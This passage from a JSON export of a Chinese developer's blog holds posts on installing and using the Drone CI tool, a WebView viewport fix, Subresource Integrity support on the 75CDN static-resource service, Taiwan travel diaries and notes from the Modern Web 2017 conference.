proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; } } 修改 server_name 和 $drone_port 为正确的值即可，最后记得别忘了重启 Nginx 服务。这样我们就能直接使用 http://ci.eming.li 来访问 drone 了。\n进程守护 刚才使用 docker-compose up 命令启动如果退出终端了之后服务就会停止，所以我们需要后台执行。我们可以直接使用 nohup 方法启动：\n$ nohup docker-compose -f docker-compose.yml up \u0026amp; 除了使用 nohup 之外，我们还可以使用 systemctl 来启动进程。我们创建一个 drone.service 服务文件：\n$ vim /etc/systemd/system/drone.service 复制以下内容：\n[Unit] Description=Drone server After=docker.service nginx.service [Service] Restart=always ExecStart=/usr/local/bin/docker-compose -f /etc/drone/docker-compose.yml up ExecStop=/usr/local/bin/docker-compose -f /etc/drone/docker-compose.yml stop [Install] WantedBy=multi-user.target 第一部分告诉 systemd 在 Docker 和 Nginx 可用之后启动此服务。 第二部分告诉 init 系统在发生故障时自动重新启动服务。 然后，它使用 Docker Compose 和我们之前创建的配置文件定义启动和停止 Drone 服务的命令。 最后，最后一节定义了如何使服务在启动时启动。完成后保存文件并使用如下命令启动服务：\n$ systemctl start drone 使用如下命令可以查看服务启动状态：\n$ systemctl status drone 问题 至此 drone 的安装就结束了。不过我在具体使用的过程中有两个属于安装的小问题，在此记录一下：\n容器无法访问网络 我先尝试了在本机 Mac 安装，一切正常。随后我在我的一台服务器上安装，访问后发现无法连接 Github 内部的所有网络服务都不正常。在论坛询问，作者回复告知可能是 docker nat 的问题。调试了很久也不行，最后重新开了一台镜像就好了。\n构建任务无故退出 实际使用过程中我发现我的构建任务总是莫名其妙就失败，提示我被 killed 掉，并显示 exit code 137。最开始我一直在查 137 退出码，发现就是 kill -9 的退出，不明所以。后来偶然尝试以 docker killed 为关键词搜索，才发现原来是内存爆了 docker 执行 OOM 把容器杀掉了。后来按照作者建议给机器加到 2G 的内存就没问题了。\n总结 这样我们的安装过程就结束了，访问 drone，使用对应仓库的账户登录。如果是 Github 的话会使用 OAuth 连接到 Github 进行授权申请，如果是 Gogs 则需要输入 Gogs 的账号和密码。进去之后\n参考资料：\n《Drone Installation Overview》\n《如何在Ubuntu 16.04上安装和配置Drone》\nHttp request in drone are all connect timeout\nDrone killed build\nDocker build fails with \u0026ldquo;pkg/template: signal: killed\u0026rdquo;\n","count":1964,"date":"2017年11月26日","featuredImage":null,"permalink":"https://imnerd.org/drone-installation.html","summary":"\u003cp\u003e在上文《\u003ca href=\"https://imnerd.org/drone.html\"\u003e基于Docker的CI工具—Drone\u003c/a\u003e》中我们介绍了 Drone 以及它的优缺点，下面我将来介绍下如何配置安装 Drone。官方推荐使用 \u003ca href=\"https://docs.docker.com/compose/\"\u003edocker-compose\u003c/a\u003e 来启动服务，所以首先我们要准备好 docker 和 docker-compose。\u003c/p\u003e\n\u003ch2 id=\"安装-docker\"\u003e安装 docker\u003c/h2\u003e\n\u003cp\u003edocker 服务提供了桌面版，服务器版和云服务版不同操作系统的多种支持，可以在\u003ca href=\"https://docs.docker.com/engine/installation/#supported-platforms\"\u003e官方文档\u003c/a\u003e中找到对应的安装方法。这里以 \u003ca href=\"https://docs.docker.com/engine/installation/linux/docker-ce/debian/\"\u003eDebain 服务器安装\u003c/a\u003e为例。Docker 支持 Debian 7.7+ 以上的系统版本， 需要 3.10 版本以上的 Linux 内核环境。\u003c/p\u003e","time":4,"title":"Drone安装指南"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"\n我在很多 Github 项目中都会使用 travis-ci 来做自动化构建任务，其中的一项主要内容就是代码提交后自动执行单元测试计算测试覆盖率。但是 travis-ci 对于其它平台（例如 Gitlab）以及公司内网仓库来说都是不支持的，所以萌生了想要找另外一款 CI 工具代替 travis-ci 的想法。对比了几款 CI 产品之后，我最终选择了 Drone。它是一款使用 Go 开发的开源的 CI 自动构建平台，能够单独部署，支持常见的 Git 仓库，例如 Github, Gitlab, Bitbucket 以及 Gogs 等。Drone 主要有以下几个方面吸引我：\n原生 Docker 支持 环境部署算是自动化构建比较复杂的一点了，目前最优解就是使用 docker 容器化技术打包我们的环境。原生 docker 的支持让我们不需要额外的在构建脚本中增加 docker 的命令，简单配置就可以为我们带来\b集成 docker 所引入的一系列的好处：环境隔离、标准化镜像。\b并且它的每一个插件都是一个镜像，让我们的自动构建环境模块化。\n新版的 Drone 将其拆分成了 Server 端和 Agent 端，Server 用来处理任务分发，Agent 用来执行自动化构建任务。简单增加 Agent 容器实例，我们就可以非常方便的横向扩容 Drone。\nPipeLine AS Code 在项目根目录有一个 .drone.yml 的文件，这个是 Drone 构建脚本的配置文件，它随项目一块进行版本管理，开发者不需要额外再去维护一个配置脚本。其实现代 CI 程序都是这么做了，这个主要是相对于 Jekins 来说的。虽然 Jekins 也有插件支持，但毕竟还是需要配置。\n另外就是基于 yaml 的配置文件非常简单（当然也要视需求而定），例如一个简单的构建脚本如下：\npipeline: build: image: node:6.6.0 commands: - npm install --silent - npm test 比起 Jekins 纷繁复杂的配置，Drone 几行就搞定了构建的需求。\n丰富的插件支持 http://plugins.drone.io/ 这个是 Drone 的插件商店，包含了常见的一些需求插件，例如：\n构建后发送消息：slack, telegram, line, facebook, discord, gitter, email\u0026hellip; 构建成功后发布：npm, docker, github release, google container\u0026hellip; 构建成功后部署：AWS, Kubernetes, rsync, scp, ftp\u0026hellip; pipeline 中简单的增加插件镜像配置就可以支持插件，例如：\npipeline: pipeline: build: image: node:6.6.0 commands: - npm install --silent - npm test publish: image: plugins/npm secret: [ npm_username, npm_pwd, npm_email ] username: ${NPM_USERNAME} password: ${NPM_PWD} email: ${NPM_EMAIL} when: event: [ tag ] notify: image: appleboy/drone-telegram secret: [ telegram_token, telegram_to ] token: ${TELEGRAM_TOKEN} to: ${TELEGRAM_TO} 由于 Drone 是基于 Docker 的，甚至是所有的插件也都是一个 docker 镜像。这代表着我们可以使用任何语言来开发 Drone 插件，最后只要打包成镜像就好了。\n其它 CI 工具 Drone 相对于 Jekins 来说优势比较明显，复杂的配置以及需要插件支持的构建脚本 pipeline 化都是我没考虑它的原因。不过 Jekins 其丰富的插件扩展，针对于无项目的自动化构建来说还是非常不错的。Gitlab-CI 也是一款不错的工具，不过从名字上也能看出它的缺点，就是只支持 Gitlab，而且无法扩展配置文件，对于正好在使用 Gitlab 且需求不高的同学可以试试。\n总结 基本上 Drone 的流程是我想要的 CI 模式了。不过人无完人，drone 也有一些不足，主要是：\n不同版本的文档太多，老文档的一些功能都不支持了。 社区还不够发展，找个问题比较困难。不过好在有个官方论坛，作者回复倒是挺勤快的。 前端界面比较简单，很多功能还是得依靠命令行。 不过这些问题都不影响我对它的看法，相信它会越来越好。\n相关资料：\n《Drone 一个原生支持 Docker 的 CI》\n《為什麼我用 Drone 取代 Jenkins 及 GitLab CI》\n","count":1184,"date":"2017年11月25日","featuredImage":null,"permalink":"https://imnerd.org/drone.html","summary":"\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p1.ssl.qhimg.com/t01eefa1424b3ec2668.jpg\" alt=\"drone\"\u003e\u003c/p\u003e\n\u003cp\u003e我在很多 Github 项目中都会使用 \u003ca href=\"http://travis-ci.org\"\u003etravis-ci\u003c/a\u003e 来做自动化构建任务，其中的一项主要内容就是代码提交后自动执行单元测试计算测试覆盖率。但是 travis-ci 对于其它平台（例如 Gitlab）以及公司内网仓库来说都是不支持的，所以萌生了想要找另外一款 CI 工具代替 travis-ci 的想法。对比了几款 CI 产品之后，我最终选择了 \u003ca href=\"http://drone.io\"\u003eDrone\u003c/a\u003e。它是一款使用 Go 开发的开源的 CI 自动构建平台，能够单独部署，支持常见的 Git 仓库，例如 Github, Gitlab, Bitbucket 以及 Gogs 等。\u003ca href=\"http://drone.io\"\u003eDrone\u003c/a\u003e 主要有以下几个方面吸引我：\u003c/p\u003e","time":3,"title":"基于Docker的CI工具—Drone "},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"最近做的项目有用户反馈问题，在 WebView 中页面的宽度不对了，显示了 PC 站的大小。我使用 chrome://inspect 调试了一下，发现 WebView 中任何一个自适应网站都有问题了，并且将页面 DOM 删除到最少也还是有问题，确认是客户端 WebView 的问题。\n查了下资料后，最开始怀疑是不是客户端没有加上 setUseWideViewPort(true) 让 WebView 支持 viewport 属性。客户端查了下代码告知是有的，只能想想是否是其它问题了。\n后来想了一下出问题的页面都比较特别，是需要经过一个中间页的跳转的。而这个中间页是没有设置 viewport 属性的。根据规范，如果在设置了 setUseWideViewPort(true) 的 WebView 中不写 viewport 的话默认是使用屏幕宽度来进行初始化，这里的屏幕宽度是真实的屏幕宽度，所以就看起来不正常了。\n由于之前已经了解过 Webview 会有一些初始化的行为，这些行为是在这个 Webview 初始化之后无法改变的，只要这个 WebView 还没有被销毁，不管你切换什么页面都是无法修改的。所以我就在怀疑是不是 Webview 最开始使用了跳转页来初始化 WebView，然后跳转页上没有设置 viewport 属性初始化行为就不正常了。后来跳转后的页面虽然有设置 viewport，但是初始化已经完成所以已经不生效了。\n解决的办法也非常简单，直接在跳转页上增加 viewport 设置即可。添加之后测试了下问题真的解决了。\n","count":471,"date":"2017年11月25日","featuredImage":null,"permalink":"https://imnerd.org/webview-viewport-not-work.html","summary":"\u003cp\u003e最近做的项目有用户反馈问题，在 WebView 中页面的宽度不对了，显示了 PC 站的大小。我使用 \u003ccode\u003echrome://inspect\u003c/code\u003e 调试了一下，发现 WebView 中任何一个自适应网站都有问题了，并且将页面 DOM 删除到最少也还是有问题，确认是客户端 WebView 的问题。\u003c/p\u003e","time":1,"title":"webview中viewport初始化不生效"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"75CDN 是一个由奇舞团维护的静态资源托管平台，创立至今已经稳定运行了一年多的时间。近期我们增加了 SRI 的支持，作为国内首个提供 SRI 服务的静态资源库了，也算是为 75CDN 一周年庆生吧。\nSRI 全称是 Subresource Integrity，是用来解决由于 CDN 资源被污染而导致的 XSS 漏洞的方案。当浏览器检测加载脚本签名与给定的签名不一致时，会拒绝执行该脚本。目前浏览器的支持情况如下：\n浏览器 支持版本 Chrome 以及 Chrome for Android 45+ Firefox 以及 Firefox Mobile 43+ Safari 以及 iOS Safari 11+ IE 以及 Edge 不支持 UC 浏览器 不支持 注： 数据来源于 CanIUse 和 MDN\n开启 SRI 功能 SRI 开启需要有两个条件：首先需要资源为同域或者开启 CORS 设置，然后需要在\u0026lt;script\u0026gt;中提供签名以供校验。由于 SRI 在不匹配的时候就不执行脚本，考虑到这个比较“强力”，75CDN 目前需要手动开启 SRI 格式的显示。75CDN 支持两种方式开启显示：\n在 url 上增加 ?sri=1 临时开启当前模块的 SRI 支持，例如：https://cdn.baomitu.com/jquery?sri=1。 在控制台中执行 cdn.sri = true 永久开启全站模块的 SRI 支持，设置为 false 则可以关闭。 开启后直接在具体资源地址右侧选择“复制\u0026lt;script\u0026gt;标签”或者“复制\u0026lt;link\u0026gt;标签”按钮即可获得带有 SRI 支持的 HTML 代码，例如：\n\u0026lt;script crossorigin=\u0026#34;anonymous\u0026#34; integrity=\u0026#34;sha384-xBuQ/xzmlsLoJpyjoggmTEz8OWUFM0/RC5BsqQBDX2v5cMvDHcMakNTNrHIW2I5f\u0026#34; src=\u0026#34;http://lib.baomitu.com/jquery/3.2.1/jquery.min.js\u0026#34; \u0026gt;\u0026lt;script\u0026gt; 对于没有提供 SRI 服务的 CDN 也可以自己计算，其中 SRI Hash Generator 就是一个帮助开发者计算资源签名的平台。\nSRI 的使用 刚才也说到了，当资源不匹配的时候浏览器是会拒绝执行脚本的。这虽然保障了网页的安全性，但是这样让页面变的不可用对用户来说其实是极不友好的。考虑到这种情况我们最好在资源加载失败后提供一个 fallback 方案，例如请求本站资源。同时一般网络劫持具有区域性特征，我们也可以打点上报case，可以统计查看被劫持情况。下面是个简单的例子：\nvar s = document.createElement(\u0026#39;script\u0026#39;); s.crossOrigin = \u0026#39;anonymous\u0026#39;; s.integrity=\u0026#34;sha384-qu2J8HSjv8EaYlbzBdbVeJncuCmfBqnZ4h3UIBZ9WTZ/5Wrqt0/9hofL0046NCkc\u0026#34;; s.onerror = function() { // 打点上报劫持数据 var img = document.createElement(\u0026#39;img\u0026#39;); img.src = \u0026#39;http://xxx.com?url=\u0026#39;+s.src; document.body.appendChild(img); // 更换其他域名下载地址 s.src = \u0026#39;http://zeptojs.com/zepto.min.js\u0026#39;; }; s.onload = function() { console.log($); } s.src = \u0026#39;http://lib.baomitu.com/zepto/1.2.0/zepto.min.js\u0026#39;; document.head.appendChild(s); CSP 3 除了 SRI 能够保障网站安全的引入 CDN 资源之外，其实 CSP 也能帮助我们防止 XSS 攻击。CSP 全称是 Content Security Policy，目前协议已经发展到 Level 3 版本了。它是一个用来定义页面可以加载或执行哪些资源的协议，通过限制可能不安全资源的加载来达到安全的目的。\n它的一个特色是向后兼容，不支持的浏览器设置了也没什么问题。可以在请求头中配置不同的加载策略，同时还天然支持对不安全资源加载进行上报。在 CSP2 中协议支持了可以使用白名单的形式配置安全资源，例如：\nContent-Security-Policy: script-src \u0026#39;sha384-xBuQ/xzmlsLoJpyjoggmTEz8OWUFM0/RC5BsqQBDX2v5cMvDHcMakNTNrHIW2I5f\u0026#39; 可以看到 CSP 的资源白名单配置的签名和 SRI 的签名是一致的，而且由于向后兼容不影响不支持的版本，所以我们也可以利用起来。关于 CSP 的更多内容可以查看文末的参考资料。\n总结 75CDN 已经一周年了，除了给大家带来了 SRI 保障大家的资源加载安全之外，我们还会为大家带来更稳定的服务以及更多使用的功能，请大家多多支持！\n参考资料：\nSubresource Integrity 介绍\nContent Security Policy 介绍\nContent Security Policy Level 2 介绍\nCSP3策略简介\n","count":1154,"date":"2017年11月11日","featuredImage":"https://imnerd.org/assets/migration/imnerd.org/usr/uploads/2017/11/3807656452.png","permalink":"https://imnerd.org/75cdn-sri.html","summary":"\u003cp\u003e\u003ca href=\"http://cdn.baomitu.com\"\u003e75CDN\u003c/a\u003e 是一个由奇舞团维护的静态资源托管平台，创立至今已经稳定运行了一年多的时间。近期我们增加了 SRI 的支持，作为\u003cstrong\u003e国内首个提供 SRI 服务的静态资源库了\u003c/strong\u003e，也算是为 \u003ca href=\"http://cdn.baomitu.com\"\u003e75CDN\u003c/a\u003e 一周年庆生吧。\u003c/p\u003e","time":3,"title":"75CDN 增加 SRI 支持"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"前言 最近借着同事去参加 ModernWeb2017 会议的机会，去台湾游玩了一下，具体游记可见之前的几篇文章：\n台湾行之高雄（一） 台湾行之高雄（二） 台湾行之台南 台湾行之台中 台湾行之台北（一） 台湾行之台北（二） 台湾行之台北（三） 总体来说台湾给我的感觉像是2000年左右的大陆，除了台北其它的几个城市给我的感觉都是很平和一点都不浮躁，生活起来特别舒服。\n道路交通 刚到台湾给我的第一印象就是道路小且多，而且路上机车非常多。很多人都特别注重交规，比如上路一定要带安全帽，晚上要开车灯。我和阿恒就经常忘记晚上开车灯，都会有他人提醒我们。然后我还容易忘记早上关车灯，也有路人会提醒我，哭笑不得。\n还有就是机车合法的原因，所以路上会专门给机车画停车位。但是机车实在是太多了，我们还是经常找不到停车的地方，何况我们还是电动车，有些停车地是仅限机车。所以我们经常陷入找停车位的尴尬境地。另外就是路上会有专门给机车看的路灯，一般会比汽车的灯先亮起，然后再是汽车的路灯。\n台湾人民也非常注意交通规则，很少看到一波流闯红灯的行为。还有机车的斜过马路采用的是二段式法，得过两次才能过到斜对面去。机动车在右拐的时候都会优先礼让行人，这和大陆争先恐后的差别实在是太大了。不过对我来说有点困惑，经常会造成我和汽车一块卡在那稍微等一会后才会反应过来的尴尬。\n另外就是公车下车要按铃，还有在捷运上不能吃东西，喝水也不行。\n宗教 在几个地方观察了一下之后发现台湾的宗教很多，基督教、佛教、妈祖、伊斯兰教、妈祖等到处都可见。其中基督、佛教、妈祖偏多，道教和伊斯兰教较少。这从另一方面表明台湾人民的混杂性，包容了世界各地的人们。\n去的时候正好是中元节，所以时不时就能看到有人在家门口的焚化炉上烧纸钱等东西。也能看出大家对生命的敬畏之心吧。另外由于政策的开放性，经常能在旅游景点看到各种法轮功传教士。越是大陆游客多的地方他们存在的可能性就更高。在打狗领事馆的时候被一位阿姨拉住宣扬法轮功的合法性等等，看她的表情真的非常的投入。我虽然不知道法轮功到底是真坏还是假坏，但是我觉得就这位阿姨的表情来看，我就不是非常想去接触它了。\n文化 我觉得台湾人民的精神建设都做的很好。在高雄图书馆看到的景象真的有深深的震撼到我。反应到生活中的另一方面就是人民素质很高，例如捷运上的博爱座年轻人一般都不会坐。大家说话都非常客气，大街上没有那种嘈杂的声音。\n另外一个比较有意思的事情就是他们对厕所的称呼。告示贴上对厕所他们有很多种称呼，比如化妆室，也有化粧室，也有直接叫厕所的。我有一次因为不清楚书面语和口语的区别原因，直接问服务员“化粧室在哪里”，搞得服务员一脸懵逼回了句“是卫生间么”。也是无奈，毕竟大陆早已书面口语一体化了，无法体会到书面语和口语区别的烦恼了。\n卫生 这个不得不说一句，台湾的道路真的特别干净。但是他们的路上又没有垃圾箱，导致我们经常陷入找垃圾箱的尴尬境地。我们经常一个饮料瓶一拿就是半天。而且他们对污水处理做的也很仔细，会看到很多污水处理厂。在台北的时候会看到垃圾箱有垃圾分类。\n不过我和朋友说我们找垃圾箱困难之后，她给我们说她一般都是扔711里面的（台湾711特别多）。然后最后一天早上因为去机场要早去所以买了点面包吃，最后剩下的垃圾我就按照她说的扔到隔壁的711里面去了。结果被店员呵斥不要把垃圾扔这里（可是东西就是他们家711买的呀），摊手。\n其它 另外还有个比较好玩的事情就是台湾人民似乎很喜欢盖章，每个景点都会有印章可以戳，很多景点甚至在各个小景点的地方都有章，然后会有集章活动，还挺有意思的。\n后记 台湾给我的感觉很舒服，真的还想去台湾呀~\n","count":1473,"date":"2017年08月15日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-2017-feeling.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e最近借着同事去参加 ModernWeb2017 会议的机会，去台湾游玩了一下，具体游记可见之前的几篇文章：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-gaoxiong-1.html\"\u003e台湾行之高雄（一）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-gaoxiong-2.html\"\u003e台湾行之高雄（二）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-tainan.html\"\u003e台湾行之台南\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-taizhong.html\"\u003e台湾行之台中\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-taipei-1.html\"\u003e台湾行之台北（一）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-taipei-2.html\"\u003e台湾行之台北（二）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/taiwan-taipei-3.html\"\u003e台湾行之台北（三）\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e总体来说台湾给我的感觉像是2000年左右的大陆，除了台北其它的几个城市给我的感觉都是很平和一点都不浮躁，生活起来特别舒服。\u003c/p\u003e","time":3,"title":"台湾行之游后感"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"前言 原本大会组委会是安排了大会结束之后的一天大家一块包车出去玩的，不过我和阿恒选择了自己出去玩所以没和他们一块。包车党们早上七八点集合的时候我们都还没有睡醒，看着他们微信群的集合信息，睡懒觉的幸福感油然而生。\n图为总统府\n二二八纪念馆与总统府 洗漱之后我们第一站去了总统府。进地铁的时候有碰到志工在宣传世大运，有一个看国旗认国家的活动，我第一关比利时就掛掉了，認成了德國。不過阿恆很厲害，基本都能認識。托他的福我們拿到了活動獎品——世大運主題便攜扇。\n图为二二八纪念馆门口\n去總統府的路上我們路過二二八紀念館。之前在高雄历史博物館有參觀過相關內容，所以這次沒有非常仔細的觀看。結合台灣觀看過的幾家紀念館博物館，發現台灣對這方面做的真的很用心。比較有意思的是每個場館都有一個演播廳會播放對應的視頻資料，相比較大陸之前曾經參觀過的五一二汶川地震紀念館似乎沒有相應的設施。二二八紀念館的演播廳更加別出心裁，在門口出會有中台英日語言切換的面板，點擊都能立即切換到對應語言的視頻。\n图为和平公园二二八纪念馆旁边的纪念雕塑\n出來的路上碰到一只贼精明的松鼠，看到我掏口袋了就赶紧跑过来，看我手上没吃的又呲溜一声跑了。总统府算是典型的国外建筑风格，周边安保还挺严格的，除了有定点站岗，有警卫穿插巡逻。我们在中间拍了个照片我们就走掉了。（又不能进去，你还想怎样啊！）\n图为精明的小松鼠\n中正堂 图为恢弘的中正堂\n再一站捷运我们就到了中正堂。刚看到中正堂的时候真是吓了我一跳，这也太大了吧！整体配色青天白日，内部则和中山纪念馆一样，摆了一尊蒋介石的巨大雕塑。我们去的时候和去中山纪念馆一样，又赶上了护卫队换班，再一次看了一遍他们的礼步。中正堂的下方有蒋介石的相关历史介绍。印象深的除了蒋介石和宋美龄的俊男美女搭配之外，还有两个微雕。其中的一个微雕是用一段文字拼凑成了蒋介石的头像，真是巧夺天工，神乎其神了！\n图为蒋介石雕像\n阅毕中正堂，我们去了一家日式料理店吃午饭。和老板攀谈了一会儿，发现两岸关系对当地经济影响还蛮大的。大意就是政治关系紧张客流量减少导致客户减少。最近几天晚上都有在播世大运的新闻，也有在说“在自己的地方办会结果还不能叫台湾队只能叫中华台北队”的问题。柯文哲在开幕式的时候致辞内多次提及台湾，借此回应媒体“能做的我们都已经做了”。也不知这种尴尬的关系什么时候是个头。\n国立故宫博物院 图为故宫文物一览\n下午我们去了故宫，蒋介石真是把能搬动的东西都搬过来了，连几人高的大佛都有。大到大佛，小到扳指首饰都应有。不过除了有故宫文物的展出，也有其它的一些例如 AR 花鸟之类的展出活动。我们在里面“旁听”了几个导游的讲解，都非常的有意思。例如镇风水的宝塔，唯一一件无痕的釉瓷（好像是这个），还有101大厦的参照原型等。将文物和历史结合起来，洞鉴古今的描述让人听得非常有意思（虽然我也记不大得具体内容了）。当然最重要的就是大家都说的故宫大白菜了，排队观看的人还真是多。不过看完我也不是很明白这大白菜到底哪里吸引人了，虽然玉色温润与白菜天然相成的确非常漂亮！让阿恒比较忧桑的事是故宫的另外一块瑰宝——肥肉他再一次没有见到。不过我倒是兴趣不大了，不就是块天然的五花肉石么，见过的也不少了，摊手~\n故宫一宝之大白菜\n从故宫出来差不多就到饭点了，就近找了一家牛排店吃饭。我不太敢吃生牛排所以选了全熟的，阿恒选了个五分熟的。全熟的就是比较有嚼劲，不过感觉和平常吃肉没啥区别就是。蹭了一口阿恒的虽然没有觉得多好吃，但是的确有一种肉的绵软感以及入口即化从舌尖传来。由于我要的肉分量较少，回到酒店之后还去711买了份关东煮回来。\n后记 图为在中正堂拍到的某街舞社在练舞\n至此我的台湾之行就结束了，这一趟除了晒黑了还收获了非常多的东西，旅游见闻以及之前的好盆友想见真是让我开心。不过想到回去又要写BUG了，真个人都不好了呢，唉！\n图为在桃园机场拍摄到的又电路板组装成的装修文案\n","count":1598,"date":"2017年08月13日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-taipei-3.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e原本大会组委会是安排了大会结束之后的一天大家一块包车出去玩的，不过我和阿恒选择了自己出去玩所以没和他们一块。包车党们早上七八点集合的时候我们都还没有睡醒，看着他们微信群的集合信息，睡懒觉的幸福感油然而生。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.imnerd.org/static/upload/20170820/zSx9w97tXkQMgg6rNrQ34q2B.JPG\" alt=\"总统府\"\u003e\n图为总统府\u003c/p\u003e\n\u003ch2 id=\"二二八纪念馆与总统府\"\u003e二二八纪念馆与总统府\u003c/h2\u003e\n\u003cp\u003e洗漱之后我们第一站去了总统府。进地铁的时候有碰到志工在宣传世大运，有一个看国旗认国家的活动，我第一关比利时就掛掉了，認成了德國。不過阿恆很厲害，基本都能認識。托他的福我們拿到了活動獎品——世大運主題便攜扇。\u003c/p\u003e","time":4,"title":"台湾行之台北（三）"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"本篇会讲述一下两日内听到的分享的内容的感想。浪了这么多天，总算是到了干“正活”的时候了。这两天参加了 Modern Web 2017 大会。第一次参加台湾的技术大会，发现整个大会的氛围还是组织形式都和大陆的有非常大的区别，有非常多值得我们学习的地方。\n大会硬件外设及周边 首先别的不说，官网 http://modernweb.tw 做的就非常的用心，居然在首页内藏了一个游戏，不得不说主办方的用心良苦。另外还有就是所有的大会都有在线的协作笔记，可以让参会者快速的录入学习内容并共享给大家。去年的时候有了解另外一个类似的台湾大会，他们也是有一样的东西。我觉得这个非常好，可以像上课一样记笔记，还可以把大家的笔记集合起来。另外还有几个非常有意思的地方：\n他们别处心裁去除了分享后的 QA 环节，分享之后导师会坐在门口有问题的同学可以前去咨询，讲师会进行答疑。这样做既省去了大家的等待时间，也不会让问问题的人显得局促，让问问题的同学能尽情的问。\n图为同事分享完之后的答疑现场照\n现场准备了连苏千也大赞不已的啤酒池，可以随便拿各种现场冰镇饮料！给酷夏带去了清凉，简直不能更赞！ 图为冰镇啤酒池（苏千入镜\n中午的时候会有闪电秀，每个人5分钟的演讲时间可以随便报名。这个我觉得无论是作为练习演讲或者是做软广什么的都是非常不错的机会。而且也能调动参会者的积极性，是非常棒的活动。\n比较有意思的是有现场投票的看板，选了几个比较容易引战的话题“你用什么前端框架”，“你用什么编辑器”，“你用什么后端语言”来进行线下投票，非常有意思。如果是大陆搞的话毫无疑问就会搞成线上的投票了，不过我更喜欢线下的，更能调动现场的气氛。另外也还有线下的倒是投票，可以给喜欢的讲师投票，也是一个不错的活跃气氛方式。\n图为投票看板，从结果上来看前端框架 Vue 和 React 平分秋色，编辑器则是 VSCode 独领风骚，后端语言则是 Node, PHP, Ruby, Java, .NET 多语言成鼎立之势。\n还有就是午餐准备的也很棒，有充足的空间给参会者吃午饭，还有可以充电的地方给大家的电子设备充电。不过这主要是因为本次大会在学校办的原因了，不具备普适性。\n大会议题后感 说完了大会的周边下面就来说说大会的分享内容吧。本次大会设置了多个会场，由于分身乏力所以没有听所有的分享，下面只说说我听过的几场吧。对议题感兴趣的可以看看官网 http://modernweb.tw/agenda.html 放置的演讲 Slide。\n第一日 The evolution and the future of web 第一天上午听了两场英语分享，一位是 Google 的《The evolution and the future of web》。讲道理前者的标题取的感觉有点标题党，说是 Web 的未来，结果最终其实是在讲解 Web Payment API 的，Web 的未来难道只有 Web Payment API？而且分享的同学声音有点沉闷乏味，本来英语不好的我听起来就更加乏力了，可能也是因为我没有看简介的原因，我感觉直接叫 Web Payment 之类的标题可能会更好一点。\nBots and AI 另外一位是 Slack 的《Bots and AI - Future of the Web with Conversational Interface》,Bots 话题我第一反应可能会讲人工智能方面的，可是听完之后发现其实是在讲如何在 Slack 中调用 http://api.ai 服务来做一个智能机器人，让我最开始听的时候感觉和预期有点落差。不过这位分享者英语非常地道，人也非常的风趣，像我英语这么差的人也能听得懂。虽然和我预期想听的不符，但是本次分享也是非常不错的内容，毕竟 Slack 以机器人出名嘛，学习下如何做机器人也是不错的。另外作者的 Github 也非常有意思，写了一个树莓派程序，自动识别她们家的猫，如果识别出猫走过的话就做些事情，很有意思。\nWAT JavaScript Date 下午第一场听了 《WAT JavaScript Date》，最开始没有明白 WAT 是啥意思，查了一下之后才发现是 what 的缩写。这个分享讲述了一些 Date 比较诡异的地方，然后给我们推荐了一些实践操作库。由于之前我也碰到过好几个 Date 的坑，所以对这个分享还是非常感同身受的，其中的坑分享者详细的说明了原因，非常棒。\nReact Fiber 下一场有听 《React Fiber》，因为正好前几天有翻译React 16 beta 版发布！的那篇文章，所以对这个话题还是比较感兴趣的。首先我惊讶的是原来那个单词是念 ['faɪbɚ]，我之前一直都读 ['fɪ:bɚ] 了！然后就是觉得讲的不是很深，大体内容和刚才的那篇文章中讲的差不多，稍微有深入一点，但是给我一种浅尝辄止的感觉，有点不带劲。不过前面的前景提要关于 Reconciler 的分享还是让我学习到很多的。\nProgressive Web Apps \u0026amp; Web Performance 另外还听了《Progressive Web Apps \u0026amp; Web Performance》这场，由于阿恒明天也要讲 PWA 所以特地来听下这位讲师会讲什么，以免明天演讲内容有重。不过听完之后发现讲者偏重讲性能方面，PWA 只是简单的说了下如何使用而已，比较简单。这场我是冲着 Performance 来的，希望能听到一些性能优化分析方面的内容。不过讲者主要是分析了一些性能优化的方法。包括利用 Service Worker 缓存内容，减少请求堵塞，减小代码体积等方法，和我的预期有点落差。不过讲者讲的东西都非常的实用，特别是最后的总结，详细的讲述了如何做优化的一些判断方法，很温馨。缺点就是由于覆盖面太广了，每种方法都只能说一下操作过程，不能详细的说明原因方法原理等过程。毕竟步子迈大了这么少时间肯定 hold 不住。\nAngular 4 網站開發最佳實務 第一天的最后听了保哥的《Angular 4 網站開發最佳實務》。我是没用过 Angular 了，不过最开始保哥花了一段时间介绍 VSCode 的开发插件的时候有点让我惊呆了。惊呆了的原因主要是在大陆如果是这种场面的分享的话一般是没人会说这种使用形的内容的，具体为什么我也说不太上来（可能是太基础了不能装逼吧！）。不过我要和保哥站一条线，毕竟 VSCode 大法好！后面讲了很多 ng 开发时候的小细节由于我没用过 ng 开发所以听得也有点模糊，这里就不多表了，感兴趣的可以去看保哥的 slide。\n第二日 